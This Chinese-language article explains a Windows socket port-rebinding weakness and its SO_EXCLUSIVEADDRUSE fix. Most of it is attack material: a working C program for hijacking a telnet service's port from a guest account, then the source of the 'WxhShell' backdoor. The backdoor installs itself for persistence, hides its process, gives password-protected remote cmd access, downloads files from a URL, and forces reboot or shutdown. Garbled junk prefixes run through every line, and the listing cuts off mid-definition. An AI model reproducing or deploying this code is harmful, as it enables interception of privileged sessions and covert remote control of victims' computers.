在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K]u|V0c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%b?Pasf. N:<O saddr.sin_family = AF_INET;
Y]lqtre*Y $"i690 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
vqs~a7E-P G<z)Ydh_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@Dy.HQ~ ;FmSL#]I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
m7"f6zSo( c`+ITNV 这意味着什么?意味着可以进行如下的攻击:
"tR.'F[n4P w|HZI,~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_R<HC n1t(ns| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wgyO% hG@ys5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`[KhG)Y7t TH|hrL;:8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e!yw"Cf* AH`15k_i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
</X"*G't $imx-H`| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c{Kl?0#[ _E;Y
~I,i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r83~o/T@ @NIypi$T #include
T]W -g #include
2X*<Fma3C #include
V.#8-?z #include
FT;JYkO DWORD WINAPI ClientThread(LPVOID lpParam);
kut|A int main()
G|lI=Q3f {
!_) ^bRd WORD wVersionRequested;
4I*Mc%dD DWORD ret;
Q.1ohj0) WSADATA wsaData;
zl\#n:| BOOL val;
d]3sC SOCKADDR_IN saddr;
sJoi fl
7 SOCKADDR_IN scaddr;
0vp I#q int err;
F4Uk+|]Bu SOCKET s;
3\+p1f4 SOCKET sc;
1 =<|h int caddsize;
,*[LnR HANDLE mt;
Z-|C{1}A DWORD tid;
\DqxS=o; wVersionRequested = MAKEWORD( 2, 2 );
qfu2}qUX~% err = WSAStartup( wVersionRequested, &wsaData );
p]&Q`oh if ( err != 0 ) {
CK(ev*@\D, printf("error!WSAStartup failed!\n");
2[po~}2-0 return -1;
_|ib@Xbin }
jyhzLu saddr.sin_family = AF_INET;
/ yi :Q0 H Im,
"iYk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1RbYPX $0}bi:7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cEdJn@ , saddr.sin_port = htons(23);
%KF:-
w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jt6J'MOq {
=-LX)|x} printf("error!socket failed!\n");
>8fH5 return -1;
A#S:_d }
<UJJ],)^1A val = TRUE;
7[BL 1HI* //SO_REUSEADDR选项就是可以实现端口重绑定的
|nN/x<v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
n-3j$x1Ne {
wG5RN;`V printf("error!setsockopt failed!\n");
kA!(}wRL return -1;
h(Ed% }
5iddB $ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
V1)P=?%(US //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
lmKq xs4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\!Zh= "hN 2j7d$y*' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%J7mZB9 {
SRN9(LN ret=GetLastError();
]t)M}^w printf("error!bind failed!\n");
@z)tC@ return -1;
""3m!qn# }
>x
ghq listen(s,2);
PbUcbb17 while(1)
@O}j:b {
sLdUrD% caddsize = sizeof(scaddr);
o?K|[gNi //接受连接请求
6bKO;^0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`l2< if(sc!=INVALID_SOCKET)
otf%kG w {
=veOVv[Q&/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
noNF;zT if(mt==NULL)
N5s|a5 {
/Jf`x>eiH printf("Thread Creat Failed!\n");
i
`QK'=h[ break;
C2rj ]t }
/lB0>Us }
ynZ[c8. CloseHandle(mt);
;K\N }
eH%L?"J~: closesocket(s);
lzs(i2pA WSACleanup();
c48J!,jCd' return 0;
S"TMsi }
QeeC2 DWORD WINAPI ClientThread(LPVOID lpParam)
I49l2> {
>'-w%H/ SOCKET ss = (SOCKET)lpParam;
>Ug?O~- SOCKET sc;
w<~<(5mM5; unsigned char buf[4096];
}SMJD SOCKADDR_IN saddr;
MIlCUk long num;
XDdcq ]*| DWORD val;
O%K?l}e DWORD ret;
@=NVOJy}c //如果是隐藏端口应用的话,可以在此处加一些判断
=HV-8C] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`)=A!x y saddr.sin_family = AF_INET;
f:[d]J| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
HS6Imi saddr.sin_port = htons(23);
NnLhJPh if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2Cd
--W+= {
6"Lsui?? printf("error!socket failed!\n");
~26s7S} return -1;
FK@ f' }
AIl$qPKj& val = 100;
pO/SV6N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vbA7I<; {
A2|o=mOH ret = GetLastError();
\gp,Txueb return -1;
AO}i@YJth }
o%+A<Ri if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A_jB|<bjTP {
sO6g IPU^ ret = GetLastError();
4/2RfDp return -1;
5&HT$"H: }
d@6:|auO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a(ux?V)E. {
Dl zmAN printf("error!socket connect failed!\n");
I#S~ closesocket(sc);
otz_nF;E closesocket(ss);
we\b] return -1;
yxC Ml. }
n4vXm while(1)
k>:/D {
nI*(a: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
t ?9;cS4 //如果是嗅探内容的话,可以再此处进行内容分析和记录
^3WIl] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qX
p,d num = recv(ss,buf,4096,0);
YMj7 if(num>0)
Q"OV>kl k send(sc,buf,num,0);
kj{rk^x else if(num==0)
T Oco({/_/ break;
68p\WheCal num = recv(sc,buf,4096,0);
Qh|-a@ if(num>0)
K=m9H=IX~T send(ss,buf,num,0);
q!hy;K`Jd else if(num==0)
m]0^ break;
iM?I
/\ }
2H?I'<NoC closesocket(ss);
Bbl)3$`, closesocket(sc);
PTzp;. return 0 ;
'YZI>V* }
vZ[$H HzD> -f QN5yBa!Wz ==========================================================
1H&?UP4=( `z-H]fU 下边附上一个代码,,WXhSHELL
28T\@zi
NVO9XK ==========================================================
%A)-m 69 oh7#cFZZ0 #include "stdafx.h"
{t844La" bmj8WZ #include <stdio.h>
/<(*/P,> #include <string.h>
Y!Uu173 #include <windows.h>
PPwxk; #include <winsock2.h>
(30<oE{ #include <winsvc.h>
t$]&,ucW# #include <urlmon.h>
i{tTUA di3 B=A>3 #pragma comment (lib, "Ws2_32.lib")
;[TljcbS #pragma comment (lib, "urlmon.lib")
ASzzBR;?_ ^8?j~&u$F #define MAX_USER 100 // 最大客户端连接数
tC2 )j7@ #define BUF_SOCK 200 // sock buffer
`a9k!3_L #define KEY_BUFF 255 // 输入 buffer
[cGt \LO_Nu9 #define REBOOT 0 // 重启
'2|1%NSW9 #define SHUTDOWN 1 // 关机
r#_7]_3 v87$NQvwQ #define DEF_PORT 5000 // 监听端口
O`wYMng) Lnh':7FQJx #define REG_LEN 16 // 注册表键长度
n0rerI[R #define SVC_LEN 80 // NT服务名长度
S2J#b"Y fKL'/?LD] // 从dll定义API
)"(V*Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GXOFk7> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ps"/}u l typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
to99_2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sg3h i"Im N<KKY"?I' // wxhshell配置信息
k~0#'I9 struct WSCFG {
=4frP*H? int ws_port; // 监听端口
PHQ{-b?4t char ws_passstr[REG_LEN]; // 口令
BN+V,W int ws_autoins; // 安装标记, 1=yes 0=no
!Oeq
G char ws_regname[REG_LEN]; // 注册表键名
N4I^.k<-A char ws_svcname[REG_LEN]; // 服务名
<A#5v\{.;~ char ws_svcdisp[SVC_LEN]; // 服务显示名
G_V.H\w char ws_svcdesc[SVC_LEN]; // 服务描述信息
vP3K7En char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jA4PDH f+ int ws_downexe; // 下载执行标记, 1=yes 0=no
2Ryp@c&r^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
uew0R;+oa char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;EK(b Y.DwtfE };
+VSZhg,Np8 wENzlXeOP // default Wxhshell configuration
yJnPD/i struct WSCFG wscfg={DEF_PORT,
]UK`?J=t2g "xuhuanlingzhe",
:&Qb>PH[ 1,
^Vag1(hdq "Wxhshell",
f"Ost;7zg "Wxhshell",
60`+9(^ "WxhShell Service",
7<^'DOs "Wrsky Windows CmdShell Service",
n`P`yb\f$ "Please Input Your Password: ",
T1l&B 1,
W;^N8ap% "
http://www.wrsky.com/wxhshell.exe",
%)pP[[h "Wxhshell.exe"
vGXWwQ.1Tp };
g93I+ O[; +i // 消息定义模块
`koOp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|}Q( F+cL char *msg_ws_prompt="\n\r? for help\n\r#>";
2*+3RrJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2bWUa~%B char *msg_ws_ext="\n\rExit.";
-r!42`S char *msg_ws_end="\n\rQuit.";
7nm}fT
z7 char *msg_ws_boot="\n\rReboot...";
]x1p!TSU char *msg_ws_poff="\n\rShutdown...";
^rL,&rk char *msg_ws_down="\n\rSave to ";
v#zPH5xo !]yQ1@)*' char *msg_ws_err="\n\rErr!";
rqF"QU= l char *msg_ws_ok="\n\rOK!";
G]b8]3^ [1NaH char ExeFile[MAX_PATH];
i#k-)N _$ int nUser = 0;
u0xQ;BQ HANDLE handles[MAX_USER];
*]5z^>
q;7 int OsIsNt;
]K7`-p~T x7f:F. SERVICE_STATUS serviceStatus;
1:_=g #WH SERVICE_STATUS_HANDLE hServiceStatusHandle;
USprsaj FS8S68 // 函数声明
j5zFDh1( int Install(void);
Z)NrhJC int Uninstall(void);
T$u~E1 int DownloadFile(char *sURL, SOCKET wsh);
7k `_# int Boot(int flag);
[ dGO,ndE void HideProc(void);
"r@G@pe int GetOsVer(void);
|B
eA== int Wxhshell(SOCKET wsl);
d^tVD`Fm void TalkWithClient(void *cs);
*MI)]S int CmdShell(SOCKET sock);
t')h{2&&!2 int StartFromService(void);
.vK.XFZ8R int StartWxhshell(LPSTR lpCmdLine);
;J'OakeVO c)03Ms4
D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_D-5}a" VOID WINAPI NTServiceHandler( DWORD fdwControl );
eO'xkm )`<6taKx@n // 数据结构和表定义
@YCv SERVICE_TABLE_ENTRY DispatchTable[] =
#'C/Gya {
~^x-ym5 {wscfg.ws_svcname, NTServiceMain},
)U'yUUi {NULL, NULL}
n? ]f@O R };
!Vb,zQ C,.-Q"juH // 自我安装
D{R/#vM jk int Install(void)
@m?{80;uQ {
A';n6ne%i char svExeFile[MAX_PATH];
' X}7]y HKEY key;
Pw= 3PvkL strcpy(svExeFile,ExeFile);
i *B:El1 b{BaQ>.(` // 如果是win9x系统,修改注册表设为自启动
K}Na3}m if(!OsIsNt) {
rhIGOk1k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]/_G-2.R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~6kJ~R4 RegCloseKey(key);
[%jxf\9jJ_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FOSbe] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AeaPK RegCloseKey(key);
k Q~ %=pn return 0;
rCE;'? Y }
*qG$19b }
8[M*
x3 }
`dO}L else {
}'TTtV:Q Jh?z=JY // 如果是NT以上系统,安装为系统服务
|YRY!V_w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2A>C+Y[7\ if (schSCManager!=0)
fe';b[q)# {
3%2jwR SC_HANDLE schService = CreateService
PPj[;(A (
.EG*+, schSCManager,
odpUM@OAW wscfg.ws_svcname,
E+z18Lf? wscfg.ws_svcdisp,
=53bLzr SERVICE_ALL_ACCESS,
p qeL%="p; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.gq(C9<B[ SERVICE_AUTO_START,
<5I1 DF[ SERVICE_ERROR_NORMAL,
LEK/mCL svExeFile,
0I
@$ 0Gg NULL,
\yG`Sfu2 NULL,
<m0{'xw NULL,
]~8v^A7u NULL,
U*qNix NULL
q &
b5g ! );
TP{Gt.e if (schService!=0)
T(V8;! {
} L <,eV CloseServiceHandle(schService);
,1
P[ CloseServiceHandle(schSCManager);
q@kOTkHv) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sAYV)w3u" strcat(svExeFile,wscfg.ws_svcname);
(a }J$: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q{E"pyt36R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|l7%l&! RegCloseKey(key);
4LsHs return 0;
g~!$i`_b }
_!!}'fMC }
c
0-w6 CloseServiceHandle(schSCManager);
[@3SfQ }
CZ3].DA|z }
/C$
xH@bb ErDL^M-` return 1;
=VSkl;(O }
etyCrQ
?U iCrxV{ // 自我卸载
#) ]c0]p int Uninstall(void)
kXwi{P3D$ {
q (>c`5 HKEY key;
2+'|kt2 1,`H:%z% if(!OsIsNt) {
Z^#]#f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U-EhPAB@ RegDeleteValue(key,wscfg.ws_regname);
}+0z,s~0. RegCloseKey(key);
@B`Md3$7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(A{NF( RegDeleteValue(key,wscfg.ws_regname);
.X
`C^z]+ RegCloseKey(key);
%{C)1*M7 return 0;
T'1gy} }
3.vgukkk5 }
vT7g< }
J :S'uxM else {
yC
!/PQ" EGS%C%>l/o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}
`T8A if (schSCManager!=0)
i- lKdpv {
I:$"E%
>= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5v9Vk`3' if (schService!=0)
;6m;M63 z {
>85zQ
1aL if(DeleteService(schService)!=0) {
'RTtE CloseServiceHandle(schService);
/P+q}L% CloseServiceHandle(schSCManager);
qn"K9k return 0;
|J3NR`-R }
(C S8(C4[ CloseServiceHandle(schService);
X:=c5*0e }
2o5;Uz1{ CloseServiceHandle(schSCManager);
}1 QF+Cf }
)q3"t2- }
>I<PO.c! ctI{^f: return 1;
-BhTkoN) }
S%l:kKD &[j]Bp? // 从指定url下载文件
AK2WN#u@Z int DownloadFile(char *sURL, SOCKET wsh)
n29(!10Px {
ddDS=OfH HRESULT hr;
lS9n@ char seps[]= "/";
NK/4OAt% char *token;
S_Z`so} char *file;
FtIa*j^G char myURL[MAX_PATH];
fKkjn4&W char myFILE[MAX_PATH];
(-"`,8K 2} pbn\9C/ strcpy(myURL,sURL);
y=H@6$2EQ token=strtok(myURL,seps);
>n$!< while(token!=NULL)
&mkpJF/ {
%Kto.Xq file=token;
`fS^
j-_M token=strtok(NULL,seps);
n&!+wcJ;Yt }
SSmHEy*r) {p/YCch, GetCurrentDirectory(MAX_PATH,myFILE);
]vo_gKZ strcat(myFILE, "\\");
Gr)-5qh strcat(myFILE, file);
9_huI'"p send(wsh,myFILE,strlen(myFILE),0);
m{(+6-8|m send(wsh,"...",3,0);
/Ox)|)l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G]*|H0j if(hr==S_OK)
1;wb(DN*c return 0;
m,tXE%l else
7NF/]y4w return 1;
J?Iq9f +jV_Wz }
mEDpKWBk edpW8eND // 系统电源模块
^^}Hs-{T int Boot(int flag)
VKrShI {
-[]';f4]M HANDLE hToken;
N"c(e6 TOKEN_PRIVILEGES tkp;
EW(J5/mn 12(wj6Q if(OsIsNt) {
i_l+:/+G+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M{KW@7j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)bDnbO$s_ tkp.PrivilegeCount = 1;
r@$ w*% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8cdsToF(e. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
][:rLs if(flag==REBOOT) {
ZkWL_ H) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b^Cfhy^RTq return 0;
OhwF )p= }
<avQR9'& else {
5H
!y 46z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Tr .hmG U return 0;
5D' bJ6PO }
'`l K'5; }
m<@z}%v- else {
= `t^~.5 if(flag==REBOOT) {
]QrR1Rg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#`ejU &!6 return 0;
GYK\LHCPd }
JN[0L: else {
.v])S}K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@Icq1zb]
y return 0;
{fz$Z!8- }
`W5-.Tv }
h;M3yTM- oU+F3b}5p return 1;
jw>hk }
jk70u[\ S/gm.?$V // win9x进程隐藏模块
nhH;?D3 void HideProc(void)
]U_ec*a {
^T079=$5 \}dyS8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ZYMw}]#((E if ( hKernel != NULL )
id,NONb\ {
Ge \["`;i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4JMiyiW& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/q1s;I FreeLibrary(hKernel);
.-]R9KjR1J }
!I8f#'p .6.^G return;
x;#zs64f }
z2 hFn& qqOFr!)g // 获取操作系统版本
p2 ! FcFi int GetOsVer(void)
O)#U ^ {
k`VM2+9h'^ OSVERSIONINFO winfo;
$c9k*3{<+A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Tlsa%pn GetVersionEx(&winfo);
A
Y9
9!p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f)NHM' return 1;
Pe ~c else
1ThqqB return 0;
97`WMs }
JUt7En;XE }iww:H-1 // 客户端句柄模块
Mi0sC24b| int Wxhshell(SOCKET wsl)
K-Mc6 {
SvuTc!$? SOCKET wsh;
Vfs$VY2. struct sockaddr_in client;
D"l+iVbBP DWORD myID;
g>j| ]6 SF<Vds}A2 while(nUser<MAX_USER)
f =s&n} {
Mr3-q int nSize=sizeof(client);
MC!ZX)mF wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
UY>v"M if(wsh==INVALID_SOCKET) return 1;
@,OT/egF4: $g\&5sstE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QMp rv*i if(handles[nUser]==0)
]r/^9XaqtA closesocket(wsh);
d7Ro}>lp else
Xu} U{x> nUser++;
_D;@v?n6!O }
*@S@x{{s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^vni&sJ wEEn? return 0;
0^l%j 8/ }
L^0v\ +t!S'|C // 关闭 socket
?S[Y:<R{: void CloseIt(SOCKET wsh)
QU5Sy oL[ {
>fs2kha closesocket(wsh);
iEHh{H( nUser--;
f~h~5 ExitThread(0);
(-^bj }
gS9>N/b| WZewPn>#q // 客户端请求句柄
f`$Gz void TalkWithClient(void *cs)
ZI13 {
6NLW(?]
VLvS$0(}Z SOCKET wsh=(SOCKET)cs;
\
v2H^j/ char pwd[SVC_LEN];
{6,|IGAq
V char cmd[KEY_BUFF];
LR&_2e^[ char chr[1];
tw K^I6@ int i,j;
^twivNB +wfVL|.Wq while (nUser < MAX_USER) {
-,#+`>w !{UTD+|=N if(wscfg.ws_passstr) {
AHbZQulC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mOBACTY^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TwahR:T //ZeroMemory(pwd,KEY_BUFF);
[~mGsXV i=0;
=JO^XwUOo while(i<SVC_LEN) {
Paf%rv2 |%7cdMC // 设置超时
q9*MNHg} fd_set FdRead;
<M+R\SH- struct timeval TimeOut;
CboLH0Fa FD_ZERO(&FdRead);
!!,0'c FD_SET(wsh,&FdRead);
)b4$A: TimeOut.tv_sec=8;
grom\ TimeOut.tv_usec=0;
:1wrVU-?h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;y>a
nE}n{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x4kWLy7Sz /@oLe[Mz$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Ib`-pRU; pwd
=chr[0]; #bnb': f
if(chr[0]==0xd || chr[0]==0xa) { b{Zpux+
pwd=0; b$JBL_U5Ch
break; 3=.Y,ENM;
} On_@HQ/FI
i++; B(5c9DI`
} D ]03eu
't (O$
// 如果是非法用户,关闭 socket kuMKX`_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /f{$I
} U.oksD9v
_t>"5s&i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )}lRd#V
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _^S]g mE
C"pB"^0
while(1) { v! hY
zqySm)o]
ZeroMemory(cmd,KEY_BUFF); F2I 5qC/
Fd$!wBL
// 自动支持客户端 telnet标准 9";sMB}W*
j=0; =?Fkn4t
while(j<KEY_BUFF) { nHOr AD|&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IQ!Fv/I<
cmd[j]=chr[0]; :7.Me;RA
if(chr[0]==0xa || chr[0]==0xd) { GHc/Zc"iX
cmd[j]=0; ?A*Kg;IU
break; Fwg^(;bL
} t'qL[r%?
j++; ^rAa"p 9
} X ]j)+DX>
i775:j~zx0
// 下载文件 $W8Cf[a
if(strstr(cmd,"http://")) { YV'pVO'_+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cu9Qwm
if(DownloadFile(cmd,wsh)) _S?qDG{E|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I[Ic$ta
else .K8w8X/3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E#%}ZY
} S -&)p@4
else { 8/%6@Y"Y*
:py\|
switch(cmd[0]) { !7p}C-RZp
2b@tj
5
// 帮助 z}4L=KR\v
case '?': { ,_v|#g@{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n.6T
OF
break; iAn'aW\TF
} Gpj* V|J
// 安装 s'HD{W`
case 'i': { db72W
x0>
if(Install()) a$11PBi[9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0HeD{TH\
else _'0
@%P%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X"asfA[6K
break; },-*
} (GKpA}~R
// 卸载 wEft4o
case 'r': { ,ZE?{G{tuj
if(Uninstall()) :*i f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<$bAj
else f'En#-?O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aEVsU|
break; r|<DqTc6l
} Ww3wsy x
// 显示 wxhshell 所在路径 ^c}J,tZ]
case 'p': { yJx?M
char svExeFile[MAX_PATH]; VU.@R,
strcpy(svExeFile,"\n\r"); @J'YV{]
strcat(svExeFile,ExeFile); + =$
send(wsh,svExeFile,strlen(svExeFile),0); Fzq41jiS
break; "eAy^,
} L1m{]>{-
// 重启 cDEJk?3+
case 'b': { *#U+qgA;`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _c(4o:
if(Boot(REBOOT)) f{#j6wZM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gctsp2ndW
else { |9K<-yD
closesocket(wsh); vXj <
ExitThread(0); Q+q,!w8
} 63WS7s"
break; L,[;k
} d=* x#In
// 关机 U
Z_'><++
case 'd': { R*pC.QiB~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QfjN"25_
if(Boot(SHUTDOWN)) $0A ~uDbs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E; Y;r"
else { 62'1X"
closesocket(wsh); yl&UM
qI(
ExitThread(0); _`-1aA&n~
} F_3:bX
break; AvJ,SQt
} gN6rp(?y
// 获取shell wEW4gz{s
case 's': { csZc|kDI
CmdShell(wsh); Qeq5 gN]
closesocket(wsh); zy'D!db`Z
ExitThread(0); &}6KPA;
break; ksR1kvTm
} eet Q}]
// 退出 DPn=n9n2
case 'x': { ?DV5y|}pj
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~ Hy,7
CloseIt(wsh); ,FzeOSy'p
break; 2;3f=$3
} Kn;D?ioY
// 离开 &BE
g
case 'q': { vV?rpe|%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); arK_oh0B
closesocket(wsh); {No L
WSACleanup(); a`Qot
exit(1); XM1`x
break; qO1tj'U<
} \00DqL(Oj`
} Z"-L[2E/{!
} ~V=<3X
q%>'4_
// 提示信息 t(!r8!c
u}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }G <T :(a
} 3riw1r;Q
} OFkNl}D
Ter:sge7
return; zvc`3
} zSvgKmNY
=:,xxqy
// shell模块句柄 e-hjC6Q U
int CmdShell(SOCKET sock) a&{X!:X
{ i+3fhV
STARTUPINFO si; mog[pu:!,
ZeroMemory(&si,sizeof(si)); 2S3lsp5!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \!50UVzm)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d5 Edu44
PROCESS_INFORMATION ProcessInfo; lK'Rn~
char cmdline[]="cmd"; :wqC8&V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F|bYWYED;
return 0; ikB Yd
}5
} va|*c22;|
Q?t^@
// 自身启动模式 2I1uX&g
int StartFromService(void) NG&_?|OmV
{ 2Se?J)MN
typedef struct S"m cUU}}
{ `fXyWrz-k
DWORD ExitStatus; %?C8mA'w
DWORD PebBaseAddress; 3Ug
DWORD AffinityMask; h&3YGCl
DWORD BasePriority; ZSy?T
ULONG UniqueProcessId; 9Mp$8-=>7
ULONG InheritedFromUniqueProcessId; g.JN_t5
} PROCESS_BASIC_INFORMATION; x"P);su
?rX]x8iP
